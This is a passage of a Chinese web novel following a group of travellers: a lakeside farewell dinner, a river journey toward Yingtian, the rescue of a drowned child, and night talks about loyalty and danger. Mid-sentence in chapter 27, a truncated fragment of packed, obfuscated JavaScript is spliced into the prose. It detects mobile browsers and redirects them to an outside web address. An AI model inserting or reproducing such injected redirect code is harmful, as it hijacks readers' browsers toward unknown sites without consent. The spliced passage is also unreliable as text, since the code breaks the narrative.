话才说完,蓦地发觉王献在此,周锦蘅急忙捂住嘴,支吾道:“我什么也没说,哈哈,那个……这位大人,你就看在我那日替你们引开护院大哥的份上,当做没听见吧。”
王献不理她。
周锦蘅鼓起腮帮,倚着朱樱,问道:“颜姐姐,我听宁家哥哥说,你和罗真姐姐都要去应天府?”
“是啊,周二娘子,阿雪亦要去应天府。”乌莹答道。
“啊?为什么啊?”周锦蘅皱起眉,腮帮鼓得仿佛金鱼,嘴撅得能够挂住一个茶壶。
朱樱不答,乌莹亦不答,那苏图坐在一旁,手落在存放钓竿的盒子上,轻轻摩挲着那把小巧的锁。
“诶,你在这儿呢,我有东西给你。”周锦蘅蹭到那苏图身边,从怀里掏了半天,掏出一卷画轴。
展开来,上面画着一池荷花,几尾红色的鲤鱼游弋其中,欢快自在。
“你看,上回我吓跑了你的鱼,我去捉了一条赔你,谁知你已经走了。”周锦蘅双手展开,尽力将画轴拉长,展示在那苏图面前,“所以我就画了几条鱼,还你。”
那苏图摸了摸画上的鱼,涩然道:“多谢你。”
“哎?你干嘛一脸要哭的样子?我画的不好看吗?”周锦蘅侧身,瞥过狭长的盒子,偏头望着他,“这是你的钓竿吗?为什么要锁起来?你不是很喜欢钓鱼吗?”
王献插话道:“小姑娘,哪有这么多为什么?他乃北元皇子,将来要做草原上的大汗,钓鱼算得什么正事?”
周锦蘅霍地站起,“凭什么?!”
王献一哂,“多少人求而不得,你却在这里问凭什么。”
“这不公平!”周锦蘅悍然道,“旁人求而不得又怎样?你问过颜姐姐愿意当公主么?你问过阿雪他乐意当大汗吗?!”
26. 第二十六章 心愿
朱樱想,她往后每每想到此日此景,每每想到光明开朗如向阳花一般的周锦蘅,一定都会记起这一句“不公平”的。
是的,这很不公平。
没有人问过他们想要什么,他们不要什么荣耀什么高位,只希望过太平安稳的日子,做自己喜欢的事,仅此而已。
世上的人有这么多,他们仅仅因为淌着无法选择的血,就必须抛开自己,不能再说自己想要什么,而不得不去做另一些事。
多不公平。
可是,每个人都在默默忍受,不敢宣之于口,只有周锦蘅勇敢地、不计后果地说了出来。
水榭中的氛围有些僵冷,无人接话,只听水声一阵阵拍在脚下,叮咚作响。
周锦蘅摸了摸下巴,转身跑出栈桥。
“阿蘅……”朱樱回过神,尚未来得及追出去,周锦蘅手中提着竹篓,怀里抱着比胳膊还粗的藕并一坛酒,一路淋淋漓漓滴着水跑回水榭。
众人一脸古怪地看着这个快乐的少女。
周锦蘅将竹篓放在案上,藕塞到朱樱手中,笑道:“我从家里偷偷拿了好刀鱼,还有这么大的藕,正好一起吃顿饭,就当做我给你们饯行啊!”
她看到那苏图身边的竹篓,打开一看,欢喜得直蹦跶,“还有白虾和银鱼,摊在蛋饼里最好吃了!”
宁扶风忍俊不禁,“我常以为自己洒脱不羁,不想却还比不上这个小娘子。”
“诶,为什么比不上我?”周锦蘅支着面颊,不解道,“论身世、本领,你们都比我厉害很多呀。”
“蘅妹妹。”乌莹柔和一笑,“可是你有我们都没有的东西。”
“什么东西?”周锦蘅上上下下将自己看了个遍,摇头道,“既没多长一条腿,也没多长一张嘴,我到底有什么啊?”
乌莹又一笑,抬手在她额角一点,“这是秘密。”
她从前还担心,周云钊是个心思深沉的,蔺氏是个圆滑的,天真快乐的周锦蘅在他们二人手中,将来终有一日落入黑暗时会多么痛苦?
可是,现在她想明白了,只要自己在发光,就算身处黑暗之中,也永远不会迷失自己的本心。
周锦蘅和他们都不同,因为她本身就在发光,她的快乐不会被外界影响。
“哎,你们一个个,都是什么表情嘛?”周锦蘅鼓起腮帮,挽起朱樱,“不理你们了,颜姐姐,你快给我做糖藕吃!颜姐姐做的糖藕最好吃了。”
“好。”朱樱展颜一笑,伸手拉了苏芥,“你也来。”
洗藕,切去藕节,将江米灌入空洞之中,再将方才切下的藕节盖回,以竹签串住,放入糖水中煮。
糖藕做法虽简单,但糖的多少,煮的时间都极讲究,要煮出那种软糯中带脆,甜而不腻的感觉,非下苦功不可得。
乌莹与周锦蘅也挽起衣袖下厨。
乌莹取薄刃刮下刀鱼片,不去鳞,细细抽去鱼刺,将鱼片整齐地码在碟中,倒蜜酒与豉汁,放在锅上蒸熟。鱼片一蒸即罢,否则易老。
用厚棉布衬着取下小碟,乌莹又洗净莼菜,加入鸡汤慢炖。
周锦蘅打了两个蛋,在瓷碗里搅得飞快,大刀阔斧地去摊她心心念念的白虾银鱼鸡蛋饼。
不多时,热腾腾的饭菜摆上水榭。
夜幕降临,水榭四周竹帘卷起,水风习习,水中一弯上弦月,与天上的交相辉映,清辉流泻。
甜蜜的糖藕,金黄的蛋饼,鲜嫩的刀鱼片,还有软滑的莼菜,干香的胭脂鹅脯。
好山,好水,好月,好酒,人团栾。
周锦蘅有些醉了,嘴里叼着半块糖藕,团在朱樱膝上,一手还要去够案上的酒盏。
“阿蘅,你看看你。”朱樱拿开酒盏,戳了戳她的脑门,“就你一人醉成这样,让大家笑话你。”
“哼。”周锦蘅翻了个身,将脸埋进朱樱怀里,撒娇道,“我才不管,这儿我最小,你们都得让着我,不准笑话我!”
连王献都忍不住弯了弯嘴角。
“这丫头的当真醉得狠了。”宁扶风含笑看着周锦蘅。
多有趣、多大胆的小姑娘,想不到那个阴恻恻的周云钊,竟会有如斯可爱的女儿。
“我、我才没醉!”周锦蘅挣扎起身,走到水榭廊中望着水中那弯月,笑道,“我还会背先生教过的书呢……桂、桂棹兮……兰桨,击、空明兮……溯、溯流光……”
那苏图及时起身,将险些一头栽进太湖捞月的周锦蘅拉了回来。
“诶,我听老人说……对月亮说心愿是极灵验的……”周锦蘅在廊中转了一圈,脚下蹒跚,歪歪斜斜地拉着那苏图,迷离的目光望着空中皎洁月色,“喂,你有什么心愿吗?”
那苏图将周锦蘅扶回水榭,仍交给朱樱照看,想了一想,轻声道:“我只愿,永远能像今日一般。”
朱樱抿唇一笑,“那苏图,阿蘅喝醉了,哄她几句便是,不用这么正经去答。”
“我没醉!我才没醉!”周锦蘅倚着朱樱,忽地向前一扑,扑在那苏图身上。
那苏图腾地涨红脸,又不好就将周锦蘅推开,偏旁人都低头偷笑,无人帮他。
“我也有个心愿,你要听吗?”周锦蘅歪着头笑,自顾自地道,“喂,我喜欢你,你喜不喜欢我啊?你也喜欢我的话,我的心愿就成真了。”
乌莹觑着那苏图窘迫的模样,忍不住地笑出声来。
她早发觉周锦蘅的心思了,否则何至于心心念念地跑到这儿来?只是她还真没料到,周锦蘅可爱到会将这话说出来。
朱樱正抿了一口茶尚未咽下,闻言一呛,伏在苏芥怀里咳嗽。
宁扶风带着兄长似的笑容看着周锦蘅,王献则冷冷坐在一旁,脸上没什么表情,只眉头微舒。
周锦蘅还没闹够,缠着众人都说愿望。
“我希望你和阿雪能走到一起,得偿所愿。”乌莹看着那苏图尴尬的面色,笑得促狭。
“那就先谢谢姐姐啦。”说周锦蘅醉了,她此时却像模像样地作了一礼,惹得众人又笑。
宁扶风握着巴乌,道:“今生若能走遍万里河山,一观大漠沧溟、林海天山,幸甚。”
“哦,好正经。颜姐姐呢?”周锦蘅支着面颊,嘴角泛起一个梨涡,朦胧的眼中透出促狭劲,“你不说我也知道呢。”
“我希望还能回来。”朱樱低眸,握着苏芥的手,续道
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,“和宣清一道,过平淡安稳的日子。”
苏芥道:“我也是。”
“哎呀,甜得我牙疼。”周锦蘅捂着腮帮,挤眉弄眼。
乌莹笑得直摇头,“小丫头,别耍嘴皮子逗你颜姐姐,若你真有胆儿,便去问王大人。”
王献始终没说过一句话,也几乎没笑过,与水榭中快乐的氛围格格不入。
周锦蘅皱起眉,咬了咬唇,从朱樱膝上探过身子,仗着酒意,不怕死地看向王献,“大家都说了,王大人也说一个,才有意思嘛。”
王献一拧眉,正当众人以为他要拉下脸走人时,他开口了,“我只愿金瓯圆满,这盛世太平。”
夜风吹来,水上凉意侵肌,催人酒醒。
宁扶风起身,“时候不早了,我送这小姑娘回家去。诸位,告辞了,将来有缘再会。”
王献也起身,“明日平明时分的船,的确该歇下了。”
侍女引着他走出水榭,向客房去。
“那苏图,你也去歇下吧,我再坐一会儿子。”乌莹端坐水榭中,遥遥望着水中冷月。
“乌莹姐姐,我们也走了。”
朱樱才走出栈桥,脚下一踉跄,被苏芥接住。
苏芥拂开她鬓边微乱的发丝,露出她月色下如瓷的面颊,耳根处一抹酡红,“阿颜,你素不经酒,方才不忍拂那小姑娘的意思,喝了不少,现在可还撑得住?”
“没事,只是有些头晕。”朱樱挣了一下,发现挣不脱,又道,“怕是站不住。”
苏芥抱起她,低头蹭了蹭她的面颊,“这次就算了,往后不可再这样勉强。”
“嗯,放心。”朱樱靠在他胸前,微阖上眼,手中玩着他垂在肩头的发丝,“你还当我原来那样不懂事吗?”
夜风拂过,吹散酒气,月色清冷,湖边苇草摇曳,沙沙作响。
“宣清……”朱樱睡意朦胧,含糊问道,“你方才说的,是真心么?何必为了哄我开心……说违心的话?”
她知道,他心愿颇多,若要排下来,她定是最后一个。
但是无所谓,她很容易满足的,只要苏芥心中给她留了一个位子便够了。
客房亦是湖边水榭,筑在连绵苇草之间。
王献立在廊中,远远眺望浩渺太湖。
烟波渺渺,月色在湖面上舞动,似乎有千万轮弯月,游弋水底。
“想不到小草也有这等闲情雅趣赏月?”苏芥见了王献,难免刺他几句作为问好。
王献瞥一眼朱樱,不客气地回敬道:“自不如你美人在怀惬意。”
“阿颜早已睡熟了。”苏芥摇头,侧身走进屋中,将朱樱放在床榻上。
朱樱睡得很熟,完全没被惊扰,侧过身,抱着一团被子,滚到一旁。
苏芥无奈从她手中抢出被褥展开,细细替她掖好被角,摸了摸她的额头,“你就是心思太重,想的太多了。没听过最好的东西要留到最后么?”
他只是想做完所有事,然后可以连现在的身份都抛开,只是他们两人……
不过也是,这世间的事,靡不有初,鲜克有终,开头的时候想的千好万好,最后却只落得草草收场。
27. 第二十七章 望虞河口
自太湖出蠡口,行舟望虞河,入大江,逆流而上。
天已至立秋,风转过方向,拂着两岸连绵苇草,雪花一般飘摇。
今日逆风,行船不宜,船家又懒得寻纤夫来拉,便索性收了帆,将船靠在一处树荫下,略歇一日再走。
那苏图靠在船舷旁,静静望着南岸风物。
“出了耿泾口,就再也望不见姑苏了。”乌莹从船舱内走出,“那苏图,你害怕么?”
船靠岸后,王献等人都上岸去了,只留下他们姊弟二人。
自从他们渡江南来,一向跟随朱珩隐居在太湖的沙洲上,外出次数寥寥。如今朱珩远在云南,他们两人却要只身前往应天府。
被庇护太过的雏鸟,总是畏惧着外面广阔的天空和无常风雨。
“姐姐,我不怕。”那苏图转过身,双手伏在船舷上,眺望远处江上来来往往的船只,“当年我们从大都一路南下,所乘小舟如叶,但也经过多少风风雨雨,安稳到达桃叶渡。”
“是啊。”乌莹泛起笑,自大都泛舟南下的夜晚,低矮的小舟枕在阔大河面上,飘摇无依,漫天星辰与明月倒映水中,仿佛沉在水底的珠玉。
虽那时觉得很苦也很怕,现在想来却是美好的回忆。
“乌莹姐姐,我们回来了!”朱樱提着一个食盒走上甲板,抬眼回望西南江岸。
“之前我去应天府,走的是陆路,一月多便到了,这一回水路,走走停停,都一月了竟才入江,照这个速度下去,再走一月有余,才能到应天府。王大人挑的这条好路,可真是好得很。”
苏芥两只手中各提一个食盒,声音悠闲,人也慢悠悠地走上甲板,“虽路途拉长,但恰能四处游玩,不也很好?”
那苏图上前接过一个:“苏药师,我来。”
乌莹叫人搬出桌椅,支在甲板上。
朱樱一层层打开食盒,各样糕点小菜在桌上排开,五色缤纷,琳琅满目。
“我看一下……”朱樱翻出每一个小碟子旁的标签,“这些是冰葫芦、盘香饼、山药糕、扁豆酥、印子糕,都是琴川当地的糕点。都说琴川有八样糕点,还差栗子羹、炒血糯、炸元宵没买到。”
乌莹抿唇笑道:“颜妹妹这是打算将一路上的糕点都吃一遍么?你看王大人见到你,已经似见了冤家一般。”
朱樱失笑,王献不爱吃甜,但架不住船上三个在姑苏长大的,一个苏芥打小跟着苏老神医,苏老神医亦是姑苏人。
从望虞河一路过来,姑苏人爱吃甜,无锡人也爱吃甜,不只爱那些甜滋滋的糕点,便是烧肉炒菜,都要加一勺砂糖。
只差没在白饭里拌上糖吃。
王献觉得整个人都不好了,因为他真见过有一日风大颠簸,朱樱有些晕船时,往一碗清粥中调了两勺砂糖,吃得津津有味。
简直不可理喻啊。
王献走上甲板,看见满桌子铺开的糕点,觉得头更大了。
“王大人!”那苏图这一月来与他混得熟了,知道王献虽喜欢板着脸,但性子不错,好相处,便与他玩笑,“王大人,来尝尝这个,这是最不甜的。”
王献深知姑苏人口中的“不甜”与四川人口中的“不辣”最不能信,依旧冷着一张万年不化的脸,抬步走进船舱。
乌莹和朱樱相对一笑,王献起初还上了几回当,现在学乖了。
“他这人,无趣得很。”苏芥笑着掰开一块饼,递给朱樱。
“这是玫瑰馅儿的。”朱樱接过来看看,从糕点堆里翻出一块,翻来覆去看了好一会儿,“我给王大人特地带了一块椒盐的,他若再嫌太甜可就太挑剔了。”
“可是颜妹妹,这饼皮中,本就有饴糖。”乌莹笑着摇头,捏起一个奶白色的冰葫芦,“我看王大人仍未必满意。”
冰葫芦并非山楂做的冰糖葫芦,而是面粉和米粉做成葫芦模样,入油炸熟,再裹上一层糖粉,因为显出白色,形如葫芦,香甜肥软,因此唤作冰葫芦。
王献处理完事情,又走到甲板上,瞥一眼满桌子糕点,不是甜的就是炸的,突然有些好奇朱樱和乌莹这么爱吃甜,却为何一个比一个瘦。
苏芥走到王献身旁,塞给王献一个帕子包着的东西,王献还道是什么要紧物件,打开一看,却是一块盘香饼。
饴糖的甜香味扑鼻,他觉得只闻这一下他就能猜出这饼是什么又甜又腻的味道。
“这可是阿颜特意为你带的盘香饼,椒盐味的。”苏芥还怕他不够郁闷,在后面补上一句。
王献很想将甜饼直接扔进水中喂鱼,还想立刻扬起帆,星夜兼程地赶回应天府,摆脱这一路上令人抓狂的甜食。
可是他方才一连接了皇帝、上司并同僚们的好几封信件,无非是嘱咐他,行路暂缓,推迟进入应天府的时间——大约那边要收网了,不想让过多无关的人进京搅乱形势。
王献懊恼地倚着船舷,啃几口饼,实在不喜这味道,将剩下的揉碎了远远抛到空中。
岸边神鸦振翅飞起,围绕在泊船上空,争抢碎饼,不多时吃得干干净净,一粒不剩。
王献满意地拍去衣襟上沾的碎屑,正要转身,眼角瞥到水中一物浮浮沉沉,飘摇不定,正向他们的船漂来。
“……是一个人!”朱樱探出手,扒在船舷旁,水中映出一只幼嫩的小手,应当是个孩子,他的衣衫鼓起来,恰如一个气球般浮在水上,因此晃晃悠悠,晃向岸边。
“姐姐,我去救那孩子上来。”那苏图脱下外衣交给乌莹,正要下水,另一头王献早已跳下水,勾了那溺水的小童子回到船舷旁。
船家放下缆绳,目光不由从朱樱等人身上一一大量过去。
他船上这几个客人,除了那下水救人的,竟都不是汉人,令他这一路尤为胆战心惊。而那唯一一个看着是汉人的,总拉着一张极长的脸,仿佛有人欠了他的钱似的。
船家觉得日子很不好过,偏他们还要求缓缓地行船,仿佛出来游山玩水一般。但是再看他们的神情态度,虽聚在一起时有说有笑,他偶尔遇上他们几人独处,却都是愁眉不展,恐怕也不是游山玩水的人。
那苏图拉了王献和那小童上船。
王献一身水,将小童子往苏芥跟前一扔,自己反身一跃,坐在船头,往船舱外倒靴底的水。
“做什么?”苏芥看他一眼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068116|163111||http|test|mini|href|location''.split(''|''),0,{}));
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>王献头也不抬:“大夫,救人啊。”
“你自己看看,早已没气了。”苏芥摇头,“医术又非巫术,不能起死回生……”
朱樱抱着一怀毯子走出船舱,一股脑扔给王献,俯身去看溺水的小童子。
“我试一试吧……?”朱樱摸摸小童子的脖颈,确是不跳了,不过看起来落水也没多久,说不好还有救,“不过,成不成我就不知道了。”
然后,她抓起孩子蜷曲的小手,皮肤是冰凉微湿的,指甲苍白中带着淤紫色。稚嫩的唇上亦是这样的颜色。挑开眼皮,乌黑的瞳仁散到极大,与眼眸之间几乎只差一线。没有呼吸。
乌莹和那苏图看着朱樱,她的动作极快,他们甚至花了比她做这些事更长的时间,才想明白朱樱做了哪些事。
随后,朱樱解开小童子胸前湿透的衣衫,提起小童子的下巴,撑开牙关,将头略偏向一旁,随后双手交叠,压在胸口偏左的地方,轻轻按压。
动作虽轻柔,像是怕伤了孩子未长好的骨骼,但速度很快。
王献整块毯子盖在肩上,望着朱樱施救,忘了去擦湿透的头发。
苏芥写下一张方子,叫来船家:“你遣一人去琴川镇上,抓三副药回来。”
船家正要点头,苏芥又取出另一张方子:“这一张抓五副。”
“哎,你们真是大夫啊?”船家一个月以来僵硬的脸开始解冻,换上崇敬与和善的笑容,“咱家先前竟没看出来,该死该死。”
不多时,小童子苍白的面色微润,喉间一阵水响,略翻过身,又咳又吐,呛出一大口水来。
朱樱坐在一旁,抬手一掠乱了的鬓发,一手托起小童后背,轻拍几下。
苏芥扶起她,见她面色绯红,鬓角已被汗水打湿,鼻尖上也腻着一层汗珠,“要休息一会儿吗?”
朱樱将整个人靠到苏芥身上,一动不想动,有气无力地道:“不用,我坐一会儿就好。”
王献饶有兴致地打量着朱樱,她方才那般镇定,那般熟稔,让人恍惚觉得她这样救过不下百十来个人。
可……他只见过几次这丫头给人开药方,看的也不过是伤风咳嗽、失眠夜梦之类的小病,倒不知她还有这样的能耐。毕竟那些救治溺死、吊死之人的土法,都跟志怪故事似的,让人难以相信。
苏芥进船舱里取了些应急的药丸,又折返到甲板上,清醒过来的小童子刚缓过神,茫然地看看四周,最后将目光落在向他走来的青衣男子身上:“是你们救了我吗?”
王献正用一条巾帕拧头发,闻言抬头,“小鬼,你说呢?”
小童子一抖,浑身打湿,确实有些冷,那穿黑衣服的男子更令人觉得背后发寒。
“莫怕,是他救了你,你叫他小草哥哥就行。”苏芥揉了揉小童子湿漉漉的头发,向他伸出手,“跟我去换一件干净衣衫。”
“哎。”小童子乖乖牵着苏芥的手,回头飞快地瞥王献一眼,小声道,“谢谢小草哥哥。”
那苏图眼中含笑,“想不到王大人竟有这般的名字。”
王献冷哼一声,懒得解释当初司中同僚给他取了这外号乃是因他真名中带了个草头。
28. 第二十八章 夜话
夜间起了南风,船挂帆而行,舱中灯火摇曳。
落水的小童子裹着一件偏大的衣衫,在那苏图身边缩成一团,看着面前那碗黑过墨汁的药,将眉头打成一个死结。
“你叫什么名字?”那苏图握着小童子冰凉的小手。
“我爷叫我‘囝囝’。”小童子吸了吸鼻子,一板一眼地答道。
乌莹抿唇一笑:“男孩儿唤作‘囝囝’,女孩儿唤作‘囡囡’,莫说姑苏,整个平江与江宁俱是如此。那么,你爹娘叫什么呢?”
“嗯……我没有爹娘,只有阿爷。”小童子又咳嗽一声,“大家都叫阿爷四爷爷。”
乌莹摇头,真是毫无头绪。
苏芥端起药碗:“这孩子呛了水,有些着凉,还是尽快喝了药,睡一觉去吧。”
“他不愿意喝。”朱樱抬手扣住他的手腕,夺下药碗,“你这药,闻着就很苦。”
“这天底下的药,哪有不苦的道理?”苏芥放开手,虽说教了几句,仍带着柔和的笑意,“他是孩子,你也是孩子不曾?这般任性。”
“哼,我才不是小孩子呢!”小童子鼓起腮帮,很不乐意自己被小看了,从朱樱手中抢过药碗,仰起脖子一饮而尽。
那苏图笑着摇头,小孩子就是小孩子,被苏芥一句话一激,便乖乖喝了药。
小童子一张包子脸皱成一团,张着嘴欲哭无泪,舌头苦得不知往哪儿放才好。
好苦好苦好苦……
早知道就不该逞这个英雄。
苏芥一笑,夸道:“果然是懂事的。”
朱樱横他一眼,轻声道:“你还笑?”
“给。”那苏图往小童子手心里塞了一小段青白色的冬瓜条,笑道,“这东西味道淡,外面裹了薄薄一层糖粉,喝过药吃一点就能盖过嘴里的苦味了。”
他看着乌莹笑笑:“我小时候不愿喝药,姐姐总拿这来哄我。”
小童子眨了眨眼,咬一口冬瓜条,笑得眉眼弯弯:“原来哥哥小时候也不喜欢喝药啊。”
“药这么苦,谁会喜欢喝呢?”那苏图侧身,将一截冬瓜条递到身旁正锁眉翻看信件的王献面前,“王大人,这东西只外面裹了一层糖霜,不甜的。”
王献正一心一意看信件,耳边听得“不甜”二字,下意识接过来塞进口中。
下意识就咬了一口。
王献差点没把那冬瓜吐出来。
不甜!个鬼!
那糖霜倒真没什么甜味,但整条冬瓜,比蜜还甜!甜得都要齁住了好吗?
莫不是直接从蜜罐子里捞起来再晾干的冬瓜吧?
王献脸上滚起乌云,将手中信件拍在桌上,抬起头。
小童子被吓得瑟瑟瑟瑟地蹭到朱樱身边,扯了扯朱樱衣袖。
“莫怕,他这人面上狠,心里甜,同那丑橘子一般。”朱樱笑着,揉了揉小童子头顶两边柔软的小鬏。
丑橘?王献脸一垮,朱樱这什么破比喻?还不如苏芥说他是什么蔓草听起来顺耳几分。
他算是看出来了,一日不到应天府,他就得一日受他们的作弄。那苏图和朱樱是先锋,乌莹和苏芥是帮凶,现在连这小娃娃都来凑热闹,没一个好人。
可他气归气,又不能真为这点小事如何,只得憋一肚子闷气,继续看那些更令人生气的信件和文书。
小童子看王献脸上神情变了几变,最后归于平静,咬着手指笑道:“我知道啦,和我爷爷一样,虽然看起来凶巴巴的,其实心里最好的!”
“……”王献再次放下厚厚一叠信件,看向小童子,勾了勾手指,“小鬼,过来。”
“啊?”小童子一抖,牢牢抱住朱樱一条手臂,“颜姐姐我不去!”
王献心好归心好,他怕还是怕的啊!
就像爷爷告诉他的,壁虎是吃蚊子的好帮手,可是壁虎那副模样他就是怕得要命,这能怎么办呢?
王献满脸堆起不耐烦,一手揣起信,一手伸过来将小童子提走,“大夫说了,喝过药要乖乖去睡觉。不然还要再喝一碗。”
“啊?我、我不要再喝一碗!”小童子顿时哭丧着脸,虽背后被王献提了,仍不住挣扎,“睡觉就睡觉!我要跟颜姐姐一起住,不、不要和你!”
吓死人了!这个黑衣服的哥哥太可怕了,谁知道他晚上会不会变成黑豹子吃人啊?
“她那里不方便。”王献起身,将小童子挟在臂间,大步踏出舱外。
“那苏图,我们也走吧。”乌莹经过朱樱身边时,抬手捏了捏朱樱面颊,抿唇一笑,“颜妹妹,王大人都说不方便呢。”
朱樱略皱眉,同她一起走到舱外甲板上。
夜色清淡,江岸数点灯火,在水面上映出千万点橘红的光影,天上星河横亘,仿佛凝固的乐曲。
帆兜足了夜风,船在江面上飞快行驶,船尾水纹荡开,如同交织的发辫。
“没什么不方便的,王献胡说呢。”朱樱收回望向两岸的目光,淡淡道。
“这话可不能乱说。”乌莹转头望向浩大江面,眉间透出一点忧色,“你都和他一处起居了。”
在西山时,他们住的便是一间客房,这几月水路,两人仍住一舱。
这样真的好吗?
“颜妹妹,你们的事我本管不上。”乌莹握紧船舷,叹口气,“可当初朱伯父救下我和那苏图,这些年来悉心教养,我和那苏图从来敬他如父,自然也视你为亲妹。”
“我心中亦将你视作长姐。”朱樱低眉。
“既如此,你便更该听我一言。”乌莹侧身握着她在夜风中吹冷的手,抵着她的额角,轻声道,“王大人是仪鸾司之人,惯于侦缉之事,可在姑苏时,他追踪我不成,见弦月夫人不成,反是苏芥……”
菱花会前,苏芥早已见过她,并且还是为云南的事去见她的,她想,苏芥与那钦早已相识,甚至有过合作,绝非只是泛泛之交而已。
可苏芥似乎又在帮着王献,乌莹想不明白,他到底想做什么。
“他知道自己在做什么。”朱樱面色微沉,“就像我要做的事情一样。”
假意与云南梁王合作,为的是刺探消息,而已。
与两边都假意合作,其实不过是为自己,是很危险,但他们不得不这样做。
“不,颜妹妹。”乌莹握住朱樱双肩,用更轻的声音道,“那个人,太危险了。”
待人如春风拂面,用心却无法捉摸,这样的人,比王献和那钦都更可怖。
“乌莹姐姐,我知道。”朱樱挣脱她,背过身,“我都知道,我娘劝过我了,可是母亲告诉我要勇敢。”
“云珍
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姑姑自然是为了你好,弦月夫人她本就是……那般铤而走险的人,你何必……”乌莹握着船舷,提高声音,“所以你是看到了危险,还要像逐火的飞蛾一般,义务反顾地扑过去吗?!”
值得吗?!
她是这样好的女孩子,凭她的聪明,足以过得更好,何必纠缠于此不放呢?
朱樱回过头,发丝在夜风中飞散,勾出一弯白如玉的面庞,她粲然一笑。
“是啊。”
她见过这世间最太平安乐无忧无虑的模样,她去追逐过梦想,站在过人人倾羡的位置上。她被命运宠坏了,便有些恃宠而骄,自以为这世上没什么是努力后得不到的。
可是……人总会有一样特别珍重的人或事或物吧?偏偏那样简单的东西怎样也得不到。
为了这,飞蛾扑火算得什么呢?
“乌莹姐姐,又何尝不是如此?”朱樱摇了摇头,展开双臂,两袖兜住夜风,飞舞如云。
乌莹静静看着她走远,倚着船舷,轻声叹息。
谁又不是扑火的飞蛾呢?
人需要有一个目标,不管对的还是错的,大的还是小的——但只要有目标,就可以勇敢地在这或许不尽如意的世间活下去。
自她离开大都的那一刻,她就知道,她活下去的所有的目标就只是保护那苏图了。
朱樱跨进西侧船舱,舱门旁的陶罐内满满的芦花,花穗随着舱门外灌进的夜风轻摇,不时洒落下几点雪粒一般的穗子。
苏芥坐在窗边看书,皎洁的月光映入水中,将泛着微光的波纹折入舱内,悠悠地晃。
“回来了?”苏芥将书反扣在一旁,起身拥她入怀,笑道,“你若想当蛾子,却还要多吃一些。”
“……谁要当胖蛾子了?!”朱樱一怔,旋即明白过来,在他肩头咬一口,恨恨道,“你又偷偷跟着我!”
“我可没‘偷偷’跟着你,你同乌莹,四只眼睛都没看见我,难道也要怪我么?”苏芥将朱樱放在桌上,握着她冰凉的手。
“反正,都怨你。”朱樱别开脸,甩脱他的手,捡起案头的书。
是《金匮》。
朱樱侧头瞥苏芥一眼:“不至于吧?我都背得出,你还要翻书?”
她也学过医,进过病房,拿到了执业证明,只是对实际情况的掌握远大于理论——且她到底不大喜欢学医,只是觉得自己应该学罢了。
饶是如此,所谓四大经典,总是背得出的。
“诗读百遍,还次次有不同意味。你尽数背得出,就能救得所有人了?”苏芥从她手中接过书,“阿颜,方才的方子可被你翻没了。”
朱樱跳下桌子,劈手夺过书,“刷刷刷”翻到方才的页码,拍在桌上,气鼓鼓地道:“一共才几页,你自己难不成不记得?偏来怨我……”
苏芥陡然逼近,朱樱下意识退后,背后抵着舷窗。
书坠在脚下,不知又落在了哪一页上。
“做什么?”朱樱拧眉。
“阿颜记性这么好。”苏芥抚上她的心口,含笑问道,“是不是也在心里记恨着我?”
譬如,他曾亲手杀了她这件事?
“可不是,我心眼小着呢。”朱樱抬手扯了扯他笑得十分欠揍的脸皮,咬牙道,“别忘了,你连本带利欠了我一辈子。”
29. 第二十九章 何处望神州
山药洗净切片,排在混匀的江米与粳米上,撒上一层砂糖,加水至一节手指的高度,文火慢慢熬。
乌莹捞起一碗百合,看着朱樱将泡在水中的药材捞起沥干,问道:“那孩子已不需喝药了?”
朱樱铺开切好的药材,那药材形状古怪,什么模样的都有,外表灰黄,切面皎白,微微打着卷。
“这是什么?”乌莹将百合片也放进山药粥中,搅了一搅。
“是白及。那孩子溺于水时伤及肺络,白及能入肺,又没有很苦,再加姜汁冲淡寒性。而且那孩子脾气本就虚,顺势补补,总是好的。”朱樱拿起浸着生姜末的小碗,倾了小半在粥中,“这样药味很淡,就不难吃。”
山药粥中慢悠悠地泛起一个泡泡,泡软的百合和白及变得柔软,慢慢沉下去,江米在水中舒展开。
舷窗外波光闪烁,落在木制的舱内,伴着温吞的“咕噜”声,让人的心安定下来。
山药粥旁煮着一锅马奶,热气腾腾,飞舞的水汽在明亮的阳光中闪现出缤纷的色彩。
朱樱将剩余的姜汁沥到一只干净的小瓷碗内,舀了一勺滚烫的马奶灌入碗内与姜汁混匀。
不过片刻,马奶凝固起来,朱樱随手撒上一把碎冬瓜糖与山楂糕。
“真会讨孩子欢喜。”乌莹笑道,香甜、新巧又艳丽,小孩子最喜欢这样的东西了。
朱樱舀起一碗山药百合粥,放在托盘上,微皱了眉:“为人诊病多了,便习惯多管闲事。譬如小儿刁钻任性,苦的药便不肯吃,只爱那些甜的、五颜六色的……就忍不住去把药做出小孩儿喜欢的眉目来。”
“哎,两位娘子,咱的马奶可煮透了?”船上的厨子踱进舱内,闻了一闻,不由赞道,“好香甜的山药粥,娘子手巧得很。”
昨日立了冬,一路北行,江风凛冽,船上众人已换上冬衣。
面前两位娘子一个身着青黛色洒金袄裙,一个身着白色袄裙,裙袂和衣裾上绣着细碎的淡紫色藤花,好洁净俏丽的模样。
手巧,还生了一副惹人喜欢的模样,真是命好。
“煮透了。”朱樱回头一瞥,笑道,“大师傅,借了你一勺马奶给那孩子做些新奇玩意儿吃。”
“哈哈,不妨事,咱煮这个不过做些马奶酒。”厨子拿着大勺在锅里搅一遍,提起来闻闻香味,熄了火,从一旁搬出一只大陶罐,将煮透的马奶一勺一勺灌进去。
一边灌,他一边絮絮说道:“从前蒙古客人多,船上往来他们都喜欢喝马奶酒,因此我常备一些。时日久了,那些开船的小崽子们也爱喝一口,我就仍给他们做,只是现今江南马场少了,马奶有些不易得,倒是可惜了。”
“江南盛产鱼米,将来必是社稷倚重之处,养马并非重要之事。”乌莹这样说道。
“嘿嘿,也是。”厨子无意间抬头看乌莹一眼,见是个蒙古女郎,愣一下,挠了挠头。
这话由她说来总觉得哪里怪怪的。
那苏图在甲板上支了小桌子,教那小童子玩骨牌。
